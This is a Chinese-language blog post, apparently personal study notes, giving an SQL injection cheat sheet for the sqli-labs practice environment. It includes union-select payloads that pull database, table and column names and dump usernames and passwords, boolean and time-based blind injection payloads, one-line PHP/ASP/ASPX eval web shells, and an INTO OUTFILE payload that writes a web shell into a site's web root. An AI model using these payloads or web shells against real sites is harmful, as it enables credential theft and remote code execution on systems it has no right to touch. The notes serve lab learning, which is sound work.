SQL注入思路及语法

闭合 联合查询 设行 # 使用-1是为了让值被判断为false 不输出

group_concat(); //将列的内容横向输出

information_schema //系统数据库
information_schema.schemata //系统数据库中存储所有数据库名的表
information_schema.tables //系统数据库中存储所有数据库表名的表
information_schema.columns //系统数据库中存储所有数据库列名的表

//查库名 select schema_name from information_schema.schemata where schema_name=‘security’;
//查表名 select table_name from information_schema.tables where table_name=‘security’;
//查列名 select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’;

总体思路

首先判断要输入的是否为整型(整型不需要构造闭合 可以直接改变逻辑)

?id=1 and 1=1/?id=1 and 1=2 查看逻辑对错是否改变回显,判断数据库交互 逻辑错误不返回值 逻辑正确会返回值 真 假

?id=-1’构造闭合

?id=1’ and 1=1/?id=1’ and 1=2 查看逻辑对错是否改变回显,判断数据库交互 逻辑错误不返回值 逻辑正确会返回值 真 假

order by猜列数

?id=-1’ union all select 1,2,database() from users --+ ?id=-1’ union all select 1,2,3 from information_schema --+ 报错型 以上两种方法得知库名为security

?id=-1’ union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+ table_name:emails,referers,uagents,users

?id=-1’ union all select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+ column_name:id,username,password

?id=-1’ union all select 1,group_concat(username),group_concat(password) from security.users --+

一句话木马

PHP:

<?php @eval($_POST['pass']);?>    //数字不需要加引号,字符串需要
     	↑脚本类型  	  ↑口令

asp:

<%eval request (“pass”)%>

aspx:

<%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%>

需要给一句话木马权限

ubuntu给权限:sudo vim XXX.txt //通过用root用户创建文件来使文件本身就具有权限,非加权

http://192.168.32.129/sqli-labs-master/Less-7/?id=-1’))or 1=1 union all select 1,"<?php @eval($_POST['123']);?>",3 into outfile ("/var/www/sqli-labs-master/Less-7/123.php");–+

布尔型盲注

Length() //返回字符串长度

Substr() //取字符串 用法同下

mid() //mid(ABC,1,2)意为从ABC中的第一个字符开始取 取两个字符 则返回值为AB

left() //left(ABC,2)取字符串左边的几位 返回值为AB

right() //right(ABC,2)取字符串左边的几位 返回值为BC

ord()/ascii() //返回一个字符的ASCII码/返回一个数字对应ASCII码的字符

hex() //返回16进制数 hex编码

?id=1’ and mid(database(),1,8)=‘security’–+

时间型盲注

sleep(1) //睡1秒

交互时睡1秒

不交互时不延迟

if()函数 //判断后,true返回3,false返回4

if(1=1,3,4) 返回3

if(1=2,3,4) 返回4

?id=1’ and if(1=2,1,sleep(5))—+ //判断闭合

如果1=2正确 则睡眠5S 将1=2替换成SQL语句后可盲注

id=1’ and if((length(database()>1),sleep(4),0) --+ //增加1值来猜库名的长度

id 1’ and if((ascii(substr(database(),1,1)))>1),sleep(4),0 )–+ //库名

id 1’ and if((ascii(substr((select column_name from information_schema. columns where TABLE_name = ‘your table’ and table_schema = 'your database’limit 0,1),1,1)) > 1),sleep(4),0 )–+ //表名

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值